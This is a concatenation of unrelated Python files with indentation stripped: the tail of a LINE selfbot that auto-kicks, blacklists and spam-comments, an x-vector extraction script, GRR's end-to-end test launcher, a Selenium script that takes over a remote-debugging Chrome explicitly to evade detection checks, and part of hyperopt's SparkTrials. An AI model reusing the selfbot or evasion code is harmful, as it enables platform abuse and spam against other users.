cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
else:
G = cl.getGroup(op.param1)
cl.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
elif op.param3 in ki3mid:
if op.param2 in ki2mid:
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
else:
G = cl.getGroup(op.param1)
cl.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
elif op.param3 in ki2mid:
if op.param2 in ki3mid:
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
else:
G = cl.getGroup(op.param1)
cl.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
elif op.param3 in ki4mid:
if op.param2 in ki5mid:
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
else:
G = cl.getGroup(op.param1)
cl.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
elif op.param3 in ki5mid:
if op.param2 in ki4mid:
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
else:
G = cl.getGroup(op.param1)
cl.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
elif op.param3 in ki6mid:
if op.param2 in ki5mid:
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
else:
G = cl.getGroup(op.param1)
cl.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
except:
pass
if op.type == 17:
if op.param2 not in Bots:
if op.param2 in Bots:
pass
if wait["protect"] == True:
if wait["blacklist"][op.param2] == True:
try:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
G = random.choice(KAC).getGroup(op.param1)
G.preventJoinByTicket = True
cl.updateGroup(G)
# random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
except:
# pass
try:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
G = random.choice(KAC).getGroup(op.param1)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
# random.choice(KAK).kickoutFromGroup(op.param1,[op.param2])
except:
pass
elif op.param2 not in admin + Bots:
random.choice(KAC).sendText(op.param1,"Welcome. Don't Play Bots. I can kick you!")
else:
pass
if op.type == 19:
if op.param2 not in Bots:
if op.param2 in Bots:
pass
elif wait["protect"] == True:
wait ["blacklist"][op.param2] = True
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
else:
cl.sendText(op.param1,"")
else:
cl.sendText(op.param1,"")
if op.type == 13:
if op.param2 not in Bots:
if op.param2 in Bots:
pass
elif wait["inviteprotect"] == True:
wait ["blacklist"][op.param2] = True
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
else:
cl.sendText(op.param1,"")
else:
cl.sendText(op.param1,"")
if op.param2 not in Bots:
if op.param2 in Bots:
pass
elif wait["inviteprotect"] == True:
wait ["blacklist"][op.param2] = True
cl.cancelGroupInvitation(op.param1,[op.param3])
else:
cl.sendText(op.param1,"")
else:
cl.sendText(op.param1,"")
if op.param2 not in Bots:
if op.param2 in Bots:
pass
elif wait["cancelprotect"] == True:
wait ["blacklist"][op.param2] = True
cl.cancelGroupInvitation(op.param1,[op.param3])
else:
cl.sendText(op.param1,"")
else:
cl.sendText(op.param1,"")
if op.type == 11:
if op.param2 not in Bots:
if op.param2 in Bots:
pass
elif wait["linkprotect"] == True:
wait ["blacklist"][op.param2] = True
G = cl.getGroup(op.param1)
G.preventJoinByTicket = True
cl.updateGroup(G)
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
else:
cl.sendText(op.param1,"")
else:
cl.sendText(op.param1,"")
if op.type == 5:
if wait["autoAdd"] == True:
if (wait["message"] in [""," ","\n",None]):
pass
else:
cl.sendText(op.param1,str(wait["message"]))
#------Open QR Kick start------#
if op.type == 11:
if wait["linkprotect"] == True:
if op.param2 not in Bots:
G = random.choice(KAC).getGroup(op.param1)
G.preventJoinByTicket = True
random.choice(KAC).kickoutFromGroup(op.param1,[op.param3])
random.choice(KAC).updateGroup(G)
#------Open QR Kick finish-----#
#------------------------------------------------------------------------------------
if op.type == 55:
print "[NOTIFIED_READ_MESSAGE]"
try:
if op.param1 in wait2['readPoint']:
Nama = cl.getContact(op.param2).displayName
if Nama in wait2['readMember'][op.param1]:
pass
else:
wait2['readMember'][op.param1] += "\n🐶 " + Nama
wait2['ROM'][op.param1][op.param2] = "🐷 " + Nama
wait2['setTime'][msg.to] = datetime.strftime(now2,"%H:%M")
else:
cl.sendText
except:
pass
if op.type == 59:
print op
except Exception as error:
print error
def a2():
now2 = datetime.now()
nowT = datetime.strftime(now2,"%M")
if nowT[14:] in ["10","20","30","40","50","00"]:
return False
else:
return True
def nameUpdate():
while True:
try:
#while a2():
#pass
if wait["clock"] == True:
now2 = datetime.now()
nowT = datetime.strftime(now2,"(%H:%M)")
profile = cl.getProfile()
profile.displayName = wait["cName"] + nowT
cl.updateProfile(profile)
time.sleep(600)
except:
pass
thread2 = threading.Thread(target=nameUpdate)
thread2.daemon = True
thread2.start()
#-------------------------------------------------------------------------------------------#
def autolike():
for zx in range(0,50):
hasil = cl.activity(limit=10000)
if hasil['result']['posts'][zx]['postInfo']['liked'] == False:
try:
cl.like(hasil['result']['posts'][zx]['userInfo']['mid'],hasil['result']['posts'][zx]['postInfo']['postId'],likeType=1003)
cl.comment(hasil['result']['posts'][zx]['userInfo']['mid'],hasil['result']['posts'][zx]['postInfo']['postId'],"Aᴜᴛᴏ Lɪᴋᴇ ʙʏ line://ti/p/~amiiqila_")
print "Like Boss"
except:
pass
else:
print "Udah Di Like Duluan Bang"
time.sleep(600)
thread2 = threading.Thread(target=autolike)
thread2.daemon = True
thread2.start()
#------------------------------------------------------------------------------------------#
while True:
try:
Ops = cl.fetchOps(cl.Poll.rev, 5)
except EOFError:
raise Exception("It might be wrong revision\n" + str(cl.Poll.rev))
for Op in Ops:
if (Op.type != OpType.END_OF_OPERATION):
cl.Poll.rev = max(cl.Poll.rev, Op.revision)
bot(Op)
|
extract.py | #!/usr/bin/python3
from sys import argv
from utils import read_flavour
if len(argv) < 5:
print("This extract x-vectors based on a given model. Run it this way: command <flavour> <model.pt> <source.scp> <target.ark> <device>")
exit(1)
flavour = read_flavour(argv)
model_file = argv[2]
source_scp = argv[3]
target_ark = argv[4]
device = argv[5]
print(f'loading {flavour} {model_file} {source_scp} {target_ark} {device}')
import torch
from model import XVectorModel
from torch import nn
from torch import optim
from torch.optim.lr_scheduler import StepLR
import kaldi_io as kio
import numpy as np
from sys import exit
import os
from threading import Thread
from queue import Queue
from utils import get_random_frame
from utils import get_speaker_count
from time import sleep
device = torch.device(device)
amount_of_speaker = get_speaker_count()
xmodel = XVectorModel(amount_of_speaker, flavour=flavour, device=device, learning=False)
xmodel = xmodel.to(device)
xmodel.load_state_dict(torch.load(model_file))
xmodel.eval()
batch_queue = Queue()
write_queue = Queue()
keep_writing = False
def get_one_batch(scp):
batch_x = []
batch_y = []
for key, mat in kio.read_mat_scp(scp):
if mat.shape[0] >= 400:
batch_x.append(get_random_frame(mat, 400))
batch_y.append(key)
if len(batch_x) >= 64:
yield (batch_y, np.array(batch_x))
batch_x = []
batch_y = []
yield (batch_y, np.array(batch_x))
def batch_loader_thread(scp_file):
for batch in get_one_batch(scp_file):
batch_queue.put(batch)
def batch_writer_thread(ark_file):
with kio.open_or_fd(ark_file, 'wb') as output_file:
while keep_writing or (not write_queue.empty()):
while not write_queue.empty():
(keys, vecs) = write_queue.get()
vecs = vecs.numpy()
for key, vec in zip(keys, vecs):
kio.write_vec_flt(output_file, vec, key=key)
sleep(0.01)
def extractXvectors(input_scp, output_ark, model):
with kio.open_or_fd(output_ark, 'wb') as out_file:
source_t = Thread(target=batch_loader_thread, args=(input_scp,), daemon=True)
source_t.start()
target_t = Thread(target=batch_writer_thread, args=(output_ark,))
global keep_writing
keep_writing = True
target_t.start()
while source_t.isAlive():
while not batch_queue.empty():
keys, mats = batch_queue.get()
x = torch.from_numpy(mats).to(device)
y = model(x).detach().cpu()
write_queue.put((keys, y))
sleep(0.01)
keep_writing = False
xmodel = XVectorModel(amount_of_speaker, flavour=flavour, device=device, learning=False)
xmodel = xmodel.to(device)
xmodel.load_state_dict(torch.load(model_file))
xmodel.eval()
print(f'starting {flavour} {model_file} {source_scp} {target_ark} {device}')
extractXvectors(source_scp, target_ark, model=xmodel)
|
run_self_contained.py | #!/usr/bin/env python
"""Helper script for running end-to-end tests."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import atexit
import multiprocessing
import os
import socket
import sys
import tempfile
import threading
import time
import traceback
from absl import app
from absl import flags
import portpicker
import psutil
import requests
from grr_api_client import api
from grr_response_core import config
from grr_response_core.lib import config_lib
from grr_response_core.lib import package
class Error(Exception):
"""Module-specific base error class."""
class TCPPortTimeout(Error):
"""Raised when a TCP port didn't open in time."""
class ClientEnrollmentTimeout(Error):
"""Raised when a client does not enroll in time."""
flags.DEFINE_list(
"tests", [],
"(Optional) comma-separated list of tests to run (skipping all others). "
"If this flag is not specified, all tests available for the platform "
"will run.")
flags.DEFINE_list(
"manual_tests", [],
"A comma-separated list of extra tests to run (such tests are not run by "
"default and have to be manually enabled with this flag).")
def GetServerComponentArgs(config_path):
"""Returns a set of command line arguments for server components.
Args:
config_path: Path to a config path generated by
self_contained_config_writer.
Returns:
An iterable with command line arguments to use.
"""
primary_config_path = package.ResourcePath(
"grr-response-core", "install_data/etc/grr-server.yaml")
secondary_config_path = package.ResourcePath(
"grr-response-test", "grr_response_test/test_data/grr_test.yaml")
return [
"--config",
primary_config_path,
"--secondary_configs",
",".join([secondary_config_path, config_path]),
"-p",
"Monitoring.http_port=%d" % portpicker.pick_unused_port(),
"-p",
"AdminUI.webauth_manager=NullWebAuthManager",
]
def _RunServerComponent(name, import_main_fn, args):
"""Runs a server component with a given name, main module and args.
NOTE: this function will run in a subprocess created via
multiprocessing.Process. The reason why all the imports happen inside this
function and not in the parent process is that we don't want to pollute parent
namespace with server and client imports, as they don't play nicely
together. To be more precise:
1) Server init hooks make no sense for the client (and vice-versa). When
client and server are
mixed in the same process, client will try to initialize the datastore and
fail.
2) Client logging subsystem is initialized differently from the server one,
still they share the same API.
3) Singletons like stats.STATS and config.CONFIG are initialized differently
in the client and server code (i.e. we don't want the server to try to read
config values from the registry on Windows). Even more: config.CONFIG should
contain different values for different server components, depending on the
component.
To work around these issues run_self_contained.py imports neither server- nor
client-specific modules and does necessary imports only in subprocesses.
Args:
name: Component name (used for logging purposes).
import_main_fn: A function that does necessary component-specific imports
and returns a "main" function to run.
args: An iterable with program arguments (not containing the program name,
which is passed in the "name" argument).
"""
# pylint: disable=g-import-not-at-top,unused-variable
from grr_response_test.lib import shared_fake_data_store
# pylint: enable=g-import-not-at-top,unused-variable
main_fn = import_main_fn()
# Result of the invocation of a main function is passed to the `sys.exit`. In
# most cases, these functions simply return `None` and this is usually fine as
# the program is going to exit with return code of 0. However, things change
# for subprocesses: if a subprocess exits with `None` return code of 1 is used
# instead. Since server components run as subprocesses, this causes the main
# process to fail. To fix this behaviour, we inspect the result and explicitly
# translate it to 0 if it is `None` and pass-through any other value.
def MainWrapper(*args, **kwargs):
result = main_fn(*args, **kwargs)
if result is None:
return 0
else:
return result
sys.argv = [name] + args
app.run(MainWrapper)
def StartServerComponent(name, import_main_fn, args):
"""Starts a new process with a server component.
Args:
name: Component name (used for logging purposes).
import_main_fn: A function that does necessary component-specific imports
and returns a "main" function to run.
args: An iterable with program arguments (not containing the program name,
which is passed in the "name" argument).
Returns:
multiprocessing.Process instance corresponding to a started process.
"""
print("Starting %s component" % name)
process = multiprocessing.Process(
name=name, target=_RunServerComponent, args=(name, import_main_fn, args))
process.daemon = True
process.start()
return process
def _RunClient(config_path):
"""Runs GRR client with a provided client configuration path.
NOTE: this function will run in a subprocess created via
multiprocessing.Process. The reason why all the imports happen inside this
function and not in the parent process is that we don't want to pollute parent
namespace with server and client imports, as they don't play nicely
together. run_self_contained.py imports neither server- nor client-specific
modules and does necessary imports only in subprocesses.
Args:
config_path: A string with a path to a client configuration file path
generated by self_contained_config_writer.
"""
# pylint: disable=g-import-not-at-top,unused-variable
from grr_response_client import client
# pylint: enable=g-import-not-at-top,unused-variable
sys.argv = ["Client", "--config", config_path]
try:
app.run(client.main)
except Exception as e: # pylint: disable=broad-except
print("Client process error: %s" % e)
traceback.print_exc()
def StartClient(config_path):
"""Start GRR client with a provided client configuration path.
Args:
config_path: A string with a path to a client configuration file path
generated by self_contained_config_writer.
Returns:
multiprocessing.Process instance corresponding to a started process.
"""
print("Starting client component")
process = multiprocessing.Process(
name="Client", target=_RunClient, args=(config_path,))
process.daemon = True
process.start()
return process
def ImportAdminUI():
"""Imports AdminUI main module, to be used with StartServerComponent."""
# pylint: disable=g-import-not-at-top,unused-variable
from grr_response_server.gui import admin_ui
# pylint: enable=g-import-not-at-top,unused-variable
return admin_ui.main
def ImportFrontend():
"""Imports Frontend main module, to be used with StartServerComponent."""
# pylint: disable=g-import-not-at-top,unused-variable
from grr_response_server.bin import frontend
# pylint: enable=g-import-not-at-top,unused-variable
return frontend.main
def ImportWorker():
"""Imports Worker main module, to be used with StartServerComponent."""
# pylint: disable=g-import-not-at-top,unused-variable
from grr_response_server.bin import worker
# pylint: enable=g-import-not-at-top,unused-variable
return worker.main
def ImportSelfContainedConfigWriter():
"""Imports config writer main module, to be used with StartServerComponent."""
# pylint: disable=g-import-not-at-top,unused-variable
from grr_response_test.lib import self_contained_config_writer
# pylint: enable=g-import-not-at-top,unused-variable
return self_contained_config_writer.main
def ImportSharedFakeDataStoreServer():
"""Imports data server main module, to be used with StartServerComponent."""
# pylint: disable=g-import-not-at-top,unused-variable
from grr_response_test.lib import shared_fake_data_store_server
# pylint: enable=g-import-not-at-top,unused-variable
return shared_fake_data_store_server.main
def ImportRunEndToEndTests():
"""Imports e2e runner main module, to be used with StartServerComponent."""
# pylint: disable=g-import-not-at-top,unused-variable
from grr_response_test import run_end_to_end_tests
# pylint: enable=g-import-not-at-top,unused-variable
return run_end_to_end_tests.main
_PROCESS_CHECK_INTERVAL = 0.1
def DieIfSubProcessDies(processes):
"""Kills the process if any of given processes dies.
This function is supposed to run in a background thread and monitor provided
processes to ensure they don't die silently.
Args:
processes: An iterable with multiprocessing.Process instances.
"""
while True:
for p in processes:
if not p.is_alive():
# DieIfSubProcessDies runs in a background thread, raising an exception
# will just kill the thread while what we want is to fail the whole
# process.
print(
"Subprocess %s died unexpectedly. Killing main process..." % p.name)
sys.exit(1)
time.sleep(_PROCESS_CHECK_INTERVAL)
_TCP_PORT_WAIT_TIMEOUT_SECS = 15
def WaitForTCPPort(port):
"""Waits for a given local TCP port to open.
If the port in question does not open within ~10 seconds, main process gets
killed.
Args:
port: An integer identifying the port.
Raises:
TCPPortTimeout: if the port doesn't open.
"""
start_time = time.time()
while time.time() - start_time < _TCP_PORT_WAIT_TIMEOUT_SECS:
try:
sock = socket.create_connection(("localhost", port))
sock.close()
return
except socket.error:
pass
time.sleep(_PROCESS_CHECK_INTERVAL)
raise TCPPortTimeout("TCP port %d didn't open." % port)
_CLIENT_ENROLLMENT_WAIT_TIMEOUT_SECS = 15
_CLIENT_ENROLLMENT_CHECK_INTERVAL = 1
def WaitForClientToEnroll(admin_ui_port):
"""Waits for an already started client to enroll.
If the client doesn't enroll within ~100 seconds, main process gets killed.
Args:
admin_ui_port: AdminUI port to be used with API client library to check for
an enrolled client.
Returns:
A string with an enrolled client's client id.
Raises:
ClientEnrollmentTimeout: if the client fails to enroll in time.
"""
api_endpoint = "http://localhost:%d" % admin_ui_port
start_time = time.time()
while time.time() - start_time < _CLIENT_ENROLLMENT_WAIT_TIMEOUT_SECS:
try:
api_client = api.InitHttp(api_endpoint=api_endpoint)
clients = list(api_client.SearchClients(query="."))
except requests.exceptions.ConnectionError:
print("Connection error (%s), waiting..." % api_endpoint)
time.sleep(_CLIENT_ENROLLMENT_CHECK_INTERVAL)
continue
if clients:
return clients[0].client_id
print("No clients enrolled, waiting...")
time.sleep(_CLIENT_ENROLLMENT_CHECK_INTERVAL)
raise ClientEnrollmentTimeout("Client didn't enroll.")
def GetRunEndToEndTestsArgs(client_id, server_config):
"""Returns arguments needed to configure run_end_to_end_tests process.
Args:
client_id: String with a client id pointing to an already running client.
server_config: GRR configuration object with a server configuration.
Returns:
An iterable with command line arguments.
"""
api_endpoint = "http://localhost:%d" % server_config["AdminUI.port"]
args = [
"--api_endpoint",
api_endpoint,
"--api_user",
"admin",
"--api_password",
"admin",
"--client_id",
client_id,
"--ignore_test_context",
"True",
"-p",
"Client.binary_name=%s" % psutil.Process(os.getpid()).name(),
]
if flags.FLAGS.tests:
args += ["--whitelisted_tests", ",".join(flags.FLAGS.tests)]
if flags.FLAGS.manual_tests:
args += ["--manual_tests", ",".join(flags.FLAGS.manual_tests)]
return args
def main(argv):
del argv # Unused.
# Create 2 temporary files to contain server and client configuration files
# that we're about to generate.
#
# TODO(user): migrate to TempFilePath as soon grr.test_lib is moved to
# grr_response_test.
fd, built_server_config_path = tempfile.mkstemp(".yaml")
os.close(fd)
print("Using temp server config path: %s" % built_server_config_path)
fd, built_client_config_path = tempfile.mkstemp(".yaml")
os.close(fd)
print("Using temp client config path: %s" % built_client_config_path)
def CleanUpConfigs():
os.remove(built_server_config_path)
os.remove(built_client_config_path)
atexit.register(CleanUpConfigs)
# Generate server and client configs.
p = StartServerComponent("ConfigWriter", ImportSelfContainedConfigWriter, [
"--dest_server_config_path",
built_server_config_path,
"--dest_client_config_path",
built_client_config_path,
])
p.join()
if p.exitcode != 0:
raise RuntimeError("ConfigWriter execution failed: {}".format(p.exitcode))
server_config = config_lib.LoadConfig(config.CONFIG.MakeNewConfig(),
built_server_config_path)
# Start SharedFakeDataStoreServer and wait for it to come up.
dp = StartServerComponent("DataStoreServer", ImportSharedFakeDataStoreServer,
GetServerComponentArgs(built_server_config_path))
WaitForTCPPort(server_config["SharedFakeDataStore.port"])
# Start all remaining server components.
processes = [
dp,
StartServerComponent("AdminUI", ImportAdminUI,
GetServerComponentArgs(built_server_config_path)),
StartServerComponent("Frontend", ImportFrontend,
GetServerComponentArgs(built_server_config_path)),
StartServerComponent("Worker", ImportWorker,
GetServerComponentArgs(built_server_config_path)),
StartClient(built_client_config_path),
]
# Start a background thread that kills the main process if one of the
# subprocesses dies.
t = threading.Thread(target=DieIfSubProcessDies, args=(processes,))
t.daemon = True
t.start()
# Wait for the client to enroll and get its id.
client_id = WaitForClientToEnroll(server_config["AdminUI.port"])
print("Found client id: %s" % client_id)
# Run the test suite against the enrolled client.
p = StartServerComponent(
"RunEndToEndTests", ImportRunEndToEndTests,
GetServerComponentArgs(built_server_config_path) +
GetRunEndToEndTestsArgs(client_id, server_config))
p.join()
if p.exitcode != 0:
raise RuntimeError("RunEndToEndTests execution failed.")
print("RunEndToEndTests execution succeeded.")
if __name__ == "__main__":
app.run(main)
|
03_using_exist_browser.py | #!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : 03_using_exist_browser.py
@Time : 2021-03-09
@Author : EvilRecluse
@Contact : https://github.com/RecluseXU
@Desc :
通过cmd命令启动chrome浏览器,再让Selenium接管已经打开的浏览器
也许可以规避很多检查
'''
# here put the import lib
from os import system, path
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from threading import Thread
def start_chrome():
'''
通过cmd命令启动一个chrome
'''
chrome_path = '"C:/Program Files (x86)/Google/Chrome/Application/chrome.exe"'
chrome_setting_path = '{}/AutomationProfile'.format(path.dirname(__file__))
cmd_command = '"{} --remote-debugging-port=9222 --user-data-dir="{}""'.format(chrome_path, chrome_setting_path)
print(cmd_command)
system(cmd_command)
# 由于执行cmd启动chrome会让程序一直等待chrome关闭,导致后续代码不运行,所以开线程打开
thread_ = Thread(target=start_chrome)
thread_.start()
chrome_options = Options()
chrome_options.add_experimental_option("debuggerAddress", "127.0.0.1:9222")
driver_path = '{}/BrowserDriver/chromedriver.exe'.format(path.dirname(__file__))
driver = webdriver.Chrome(driver_path, chrome_options=chrome_options)
driver.get('https://www.baidu.com')
print(driver.title)
driver.close() |
spark.py | from __future__ import print_function
import copy
import numbers
import threading
import time
import timeit
from hyperopt import base, fmin, Trials
from hyperopt.utils import coarse_utcnow, _get_logger, _get_random_id
try:
from pyspark.sql import SparkSession
_have_spark = True
except ModuleNotFoundError as e:
_have_spark = False
logger = _get_logger('hyperopt-spark')
class SparkTrials(Trials):
"""
Implementation of hyperopt.Trials supporting
distributed execution using Apache Spark clusters.
This requires fmin to be run on a Spark cluster.
Plugging SparkTrials into hyperopt.fmin() allows hyperopt
to send model training and evaluation tasks to Spark workers,
parallelizing hyperparameter search.
Each trial (set of hyperparameter values) is handled within
a single Spark task; i.e., each model will be fit and evaluated
on a single worker machine. Trials are run asynchronously.
See hyperopt.Trials docs for general information about Trials.
The fields we store in our trial docs match the base Trials class. The fields include:
- 'tid': trial ID
- 'state': JOB_STATE_DONE, JOB_STATE_ERROR, etc.
- 'result': evaluation result for completed trial run
- 'refresh_time': timestamp for last status update
- 'misc': includes:
- 'error': (error type, error message)
- 'book_time': timestamp for trial run start
"""
asynchronous = True
# Hard cap on the number of concurrent hyperopt tasks (Spark jobs) to run. Set at 128.
MAX_CONCURRENT_JOBS_ALLOWED = 128
def __init__(self, parallelism=None, timeout=None, spark_session=None):
"""
:param parallelism: Maximum number of parallel trials to run,
i.e., maximum number of concurrent Spark tasks.
If set to None or and invalid value, this will be set to the number of
executors in your Spark cluster.
Hard cap at `MAX_CONCURRENT_JOBS_ALLOWED`.
Default: None (= number of Spark executors).
:param timeout: Maximum time (in seconds) which fmin is allowed to take.
If this timeout is hit, then fmin will cancel running and proposed trials.
It will retain all completed trial runs and return the best result found
so far.
:param spark_session: A SparkSession object. If None is passed, SparkTrials will attempt
to use an existing SparkSession or create a new one. SparkSession is
the entry point for various facilities provided by Spark. For more
information, visit the documentation for PySpark.
"""
super(SparkTrials, self).__init__(exp_key=None, refresh=False)
if not _have_spark:
raise Exception("SparkTrials cannot import pyspark classes. Make sure that PySpark "
"is available in your environment. E.g., try running 'import pyspark'")
if timeout is not None and (not isinstance(timeout, numbers.Number) or timeout <= 0 or
isinstance(timeout, bool)):
raise Exception("The timeout argument should be None or a positive value. "
"Given value: {timeout}".format(timeout=timeout))
self._spark_context = SparkSession.builder.getOrCreate().sparkContext if spark_session is None \
else spark_session.sparkContext
# The feature to support controlling jobGroupIds is in SPARK-22340
self._spark_supports_job_cancelling = hasattr(self._spark_context.parallelize([1]),
"collectWithJobGroup")
# maxNumConcurrentTasks() is a package private API
max_num_concurrent_tasks = self._spark_context._jsc.sc().maxNumConcurrentTasks()
self.parallelism = self._decide_parallelism(max_num_concurrent_tasks, parallelism)
if not self._spark_supports_job_cancelling and timeout is not None:
logger.warning(
"SparkTrials was constructed with a timeout specified, but this Apache "
"Spark version does not support job group-based cancellation. The timeout will be "
"respected when starting new Spark jobs, but SparkTrials will not be able to "
"cancel running Spark jobs which exceed the timeout.")
self.timeout = timeout
self._fmin_cancelled = False
self._fmin_cancelled_reason = None
self.refresh()
@staticmethod
def _decide_parallelism(max_num_concurrent_tasks, parallelism):
"""
Given the user-set value of parallelism, return the value SparkTrials will actually use.
See the docstring for `parallelism` in the constructor for expected behavior.
"""
if max_num_concurrent_tasks == 0:
raise Exception("There are no available spark executors. "
"Add workers to your Spark cluster to use SparkTrials.")
if parallelism is None:
parallelism = max_num_concurrent_tasks
elif parallelism <= 0:
logger.warning("User-specified parallelism was invalid value ({p}), so parallelism will"
" be set to max_num_concurrent_tasks ({c})."
.format(p=parallelism, c=max_num_concurrent_tasks))
parallelism = max_num_concurrent_tasks
elif parallelism > max_num_concurrent_tasks:
logger.warning("User-specified parallelism ({p}) is greater than "
"max_num_concurrent_tasks ({c}), so parallelism will be set to "
"max_num_concurrent_tasks."
.format(p=parallelism, c=max_num_concurrent_tasks))
parallelism = max_num_concurrent_tasks
if parallelism > SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED:
logger.warning("Parallelism ({p}) is being decreased to the hard cap of "
"SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED ({c})"
.format(p=parallelism, c=SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED))
parallelism = SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED
return parallelism
def count_successful_trials(self):
"""
Returns the current number of trials which ran successfully
"""
return self.count_by_state_unsynced(base.JOB_STATE_DONE)
def count_failed_trials(self):
"""
Returns the current number of trial runs which failed
"""
